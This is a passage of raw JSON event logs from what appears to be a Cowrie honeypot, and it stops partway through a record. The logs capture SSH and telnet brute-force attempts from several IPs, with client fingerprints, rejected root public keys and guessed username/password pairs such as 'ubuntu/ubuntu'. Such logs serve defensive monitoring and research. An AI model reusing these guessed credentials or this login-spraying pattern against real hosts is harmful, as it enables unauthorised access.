{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:f6:88:c2:14:17:b6:90:c7:40:b7:60:6a:e8:4f:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQStbGrxmBYmUlgYSBTUD1RJuPlaLGE/86tXWhmcej1LbjNQ98nq25BKRG2VIlOgCsxQsaKYhPul8c6jauvCg8wHdxvF0/rHcvDa4fa4Uq9tlwKvro5sx86QzjB5fdBNmhcXO6OKocZYW859U2/iIBgwr1HhQS7FuGivDOuXXRjdoDmBzCMuzFtFH2WRNhTY8/rfwFp1Qo3h05Op/liA+gbQ5L73FbLHQCWrPTO2v0gUzSctc+MqSrKzaELmxgu0cjZabA7hOQVy4JrrogKpZidxcfwkrWL1meW9y+7ig+6JKMAwWonai6bKz2aRBPvHD92JSCIsRTiKsQk13LJrq5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.797089Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:42:74:b5:6f:8e:99:a8:88:12:0a:ff:96:05:79:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT8OKsxxivvYU3NfwLPbmx/QyycM/2rjflV58BXLNVkKp6DC+Ad5UXRBimThi11AErMKmPF3F7pyMLyN3ynl4eZlLy/jedFb8EIah5b5mNePC758uAiwNIiHFQJqqc3GVv+bcw7nWd1fZqmtjUf2afIv9up1ulogRW+6wp5scSOo5kYo6zJDxw1llRGszAkt7ftToZNotBlRuPdx6dOcAnqq0ZzvSfVNkAE7Lpoxlu2sZv8mfRqc5xS+K506RHHqXWxMeLDulHWXJsdNTVFti5PJh6UjazRFuug7JcFdw/GMnrQ45R+moahWKQmxXVQv/oVCM37NW3tNnRC5c3V17V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:42:74:b5:6f:8e:99:a8:88:12:0a:ff:96:05:79:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.819277Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:42:74:b5:6f:8e:99:a8:88:12:0a:ff:96:05:79:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT8OKsxxivvYU3NfwLPbmx/QyycM/2rjflV58BXLNVkKp6DC+Ad5UXRBimThi11AErMKmPF3F7pyMLyN3ynl4eZlLy/jedFb8EIah5b5mNePC758uAiwNIiHFQJqqc3GVv+bcw7nWd1fZqmtjUf2afIv9up1ulogRW+6wp5scSOo5kYo6zJDxw1llRGszAkt7ftToZNotBlRuPdx6dOcAnqq0ZzvSfVNkAE7Lpoxlu2sZv8mfRqc5xS+K506RHHqXWxMeLDulHWXJsdNTVFti5PJh6UjazRFuug7JcFdw/GMnrQ45R+moahWKQmxXVQv/oVCM37NW3tNnRC5c3V17V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.823340Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:6d:19:e9:cb:69:93:65:ec:52:3e:d8:63:84:32:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChVedpkwgnLmgx0Ih5SUeeu5KR53T4x5nWUzIX4l4hW2OAgcN2dzMxMOI98wEvf++lDdeZmTKY0QG9cimEEQ5U5qYPzHBmM3AMmhVW1jNg8bPVDicUNwPOhdp+mG1eB7CKU0+7YLdT6k8FnAbRelRHb/RYmCWWWh1sCQjG2BFycCFTeTrsGhcrwA6sDLpTGHTkFMa0bgycW9KlbuoukRH/6S5xKyo4TRcHWNaLewZv25HYV6f4iRr14gBBnJdp7CQP9xiM18tEov6CFRa0tmSdXLL8odZQ7EVj0j/Khr15boCsE1gd9YsfpSnJcrmOOFIFSoRgynu226euLSnHOap0+PdGoL8ytCVsyITIbJ6nzAafvw/+p+e0V90iFvf8ZhQoZLmQW36ay6bqc5miARREh1/7Bonk4UE3fsNJLuq+8iF0rulB36q8h8msrFxoBJi4ISrDqMYf1azh2dADzoAR0Pd33sBRYiL/wz/hZG5NIvfqID6mfUau2OG5FmZz8H0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:6d:19:e9:cb:69:93:65:ec:52:3e:d8:63:84:32:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.845249Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:6d:19:e9:cb:69:93:65:ec:52:3e:d8:63:84:32:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChVedpkwgnLmgx0Ih5SUeeu5KR53T4x5nWUzIX4l4hW2OAgcN2dzMxMOI98wEvf++lDdeZmTKY0QG9cimEEQ5U5qYPzHBmM3AMmhVW1jNg8bPVDicUNwPOhdp+mG1eB7CKU0+7YLdT6k8FnAbRelRHb/RYmCWWWh1sCQjG2BFycCFTeTrsGhcrwA6sDLpTGHTkFMa0bgycW9KlbuoukRH/6S5xKyo4TRcHWNaLewZv25HYV6f4iRr14gBBnJdp7CQP9xiM18tEov6CFRa0tmSdXLL8odZQ7EVj0j/Khr15boCsE1gd9YsfpSnJcrmOOFIFSoRgynu226euLSnHOap0+PdGoL8ytCVsyITIbJ6nzAafvw/+p+e0V90iFvf8ZhQoZLmQW36ay6bqc5miARREh1/7Bonk4UE3fsNJLuq+8iF0rulB36q8h8msrFxoBJi4ISrDqMYf1azh2dADzoAR0Pd33sBRYiL/wz/hZG5NIvfqID6mfUau2OG5FmZz8H0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.849763Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:04:4f:20:67:9f:13:1c:47:5d:f6:d7:5f:18:9a:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINu3+oBKJwkAAYFCGEUhAy08VUMRNF6N6l2zAamVt013","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 52:04:4f:20:67:9f:13:1c:47:5d:f6:d7:5f:18:9a:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.871148Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:04:4f:20:67:9f:13:1c:47:5d:f6:d7:5f:18:9a:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINu3+oBKJwkAAYFCGEUhAy08VUMRNF6N6l2zAamVt013","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.875113Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:5a:4c:e9:8f:3f:12:05:e5:77:8e:3e:f8:40:db:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWu52RE0n0EM0g8Kvw7NJK9NIuAOROAucy1xVYTEwXiX6uECwmFYR0XBvrSri5+Mrcc4I7qoOnSs7hJatIaFR4t/NragREquM4CmjHus4sPT0ZmNWA6d513vXdwGQu7WM6gOk/+Cr+xcF+KhNrIud3XfrX9V2aSxwlCEYMzyiWnBKzA0wck0O2hUaxW4d0EwZCPtqAS5IdQ9vccSBUCjtd0eSbhHQS7VOjySgN5aFxLZZ0E6MAS3RckJW0R2yVk3r0mdDIp2x6UDL1Y6irmo5n47iyjAGQWhyckAGM2d/ko8T4hpHaYk/oK2+DmOdTe7cacEx335qGQ0ZU4TDoQEfq/mKM+jP3oOlT2Bx88fc/kO1CYSxaYIMLAHuTh8QqrVw9bXjLqI/fL1QdGzc5a1OnNEk2tKOHL7KFQWpvGJkJlgRlN5+mTZXzlGWSjHv8zJ0TXcQTN6MnbfNIXmVt2uivYVHvRocqA2TaYx+1orc4LWnJOdSU/dC2QJRr7JgoyTU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:5a:4c:e9:8f:3f:12:05:e5:77:8e:3e:f8:40:db:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.897611Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:5a:4c:e9:8f:3f:12:05:e5:77:8e:3e:f8:40:db:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWu52RE0n0EM0g8Kvw7NJK9NIuAOROAucy1xVYTEwXiX6uECwmFYR0XBvrSri5+Mrcc4I7qoOnSs7hJatIaFR4t/NragREquM4CmjHus4sPT0ZmNWA6d513vXdwGQu7WM6gOk/+Cr+xcF+KhNrIud3XfrX9V2aSxwlCEYMzyiWnBKzA0wck0O2hUaxW4d0EwZCPtqAS5IdQ9vccSBUCjtd0eSbhHQS7VOjySgN5aFxLZZ0E6MAS3RckJW0R2yVk3r0mdDIp2x6UDL1Y6irmo5n47iyjAGQWhyckAGM2d/ko8T4hpHaYk/oK2+DmOdTe7cacEx335qGQ0ZU4TDoQEfq/mKM+jP3oOlT2Bx88fc/kO1CYSxaYIMLAHuTh8QqrVw9bXjLqI/fL1QdGzc5a1OnNEk2tKOHL7KFQWpvGJkJlgRlN5+mTZXzlGWSjHv8zJ0TXcQTN6MnbfNIXmVt2uivYVHvRocqA2TaYx+1orc4LWnJOdSU/dC2QJRr7JgoyTU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.901684Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.922714Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37018,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e65b1067ad","protocol":"ssh","message":"New connection: 103.15.226.202:37018 (10.17.0.5:22) [session: 73e65b1067ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:52.752203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:52.756936Z","src_ip":"103.15.226.202","session":"73e65b1067ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:52.999416Z","src_ip":"103.15.226.202","session":"73e65b1067ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111Aa","message":"login attempt [root/111111Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:53.721871Z","src_ip":"103.15.226.202","session":"73e65b1067ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:54.965579Z","src_ip":"103.15.226.202","session":"73e65b1067ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.167","src_port":50118,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac8a8cb672c","protocol":"telnet","message":"New connection: 20.65.194.167:50118 (10.17.0.5:23) [session: 6ac8a8cb672c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:01.144768Z"}
{"eventid":"cowrie.session.closed","duration":10.048461675643921,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:11.193096Z","src_ip":"20.65.194.167","session":"6ac8a8cb672c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.167","src_port":38794,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be8f9f22deb","protocol":"telnet","message":"New connection: 20.65.194.167:38794 (10.17.0.5:23) [session: 4be8f9f22deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:11.238836Z"}
{"eventid":"cowrie.session.closed","duration":0.060930490493774414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:11.299648Z","src_ip":"20.65.194.167","session":"4be8f9f22deb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22797,"dst_ip":"10.17.0.5","dst_port":22,"session":"57acb97fc73f","protocol":"ssh","message":"New connection: 2.57.121.25:22797 (10.17.0.5:22) [session: 57acb97fc73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:35.695905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:35.700480Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:35.809741Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123321456","message":"login attempt [user/123321456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:36.305974Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121292","message":"login attempt [user/121292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:37.414835Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1212121","message":"login attempt [user/1212121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:38.523141Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121188","message":"login attempt [user/121188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:39.632735Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121182","message":"login attempt [user/121182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:40.742005Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:51:41.850538Z","src_ip":"2.57.121.25","session":"57acb97fc73f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36316,"dst_ip":"10.17.0.5","dst_port":22,"session":"c247a66ba4f9","protocol":"ssh","message":"New connection: 2.57.122.208:36316 (10.17.0.5:22) [session: c247a66ba4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:53:26.794774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:53:27.119421Z","src_ip":"2.57.122.208","session":"c247a66ba4f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:53:27.123350Z","src_ip":"2.57.122.208","session":"c247a66ba4f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:53:29.698474Z","src_ip":"2.57.122.208","session":"c247a66ba4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:53:31.115919Z","src_ip":"2.57.122.208","session":"c247a66ba4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45586,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda0764463e4","protocol":"ssh","message":"New connection: 103.15.226.202:45586 (10.17.0.5:22) [session: eda0764463e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:54:26.329552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:54:26.334656Z","src_ip":"103.15.226.202","session":"eda0764463e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:54:26.593204Z","src_ip":"103.15.226.202","session":"eda0764463e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5201314","message":"login attempt [root/5201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:54:27.367419Z","src_ip":"103.15.226.202","session":"eda0764463e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:54:28.627820Z","src_ip":"103.15.226.202","session":"eda0764463e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53052,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f053ff1e95d","protocol":"ssh","message":"New connection: 2.57.122.208:53052 (10.17.0.5:22) [session: 6f053ff1e95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:56:45.530749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:56:45.558627Z","src_ip":"2.57.122.208","session":"6f053ff1e95d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-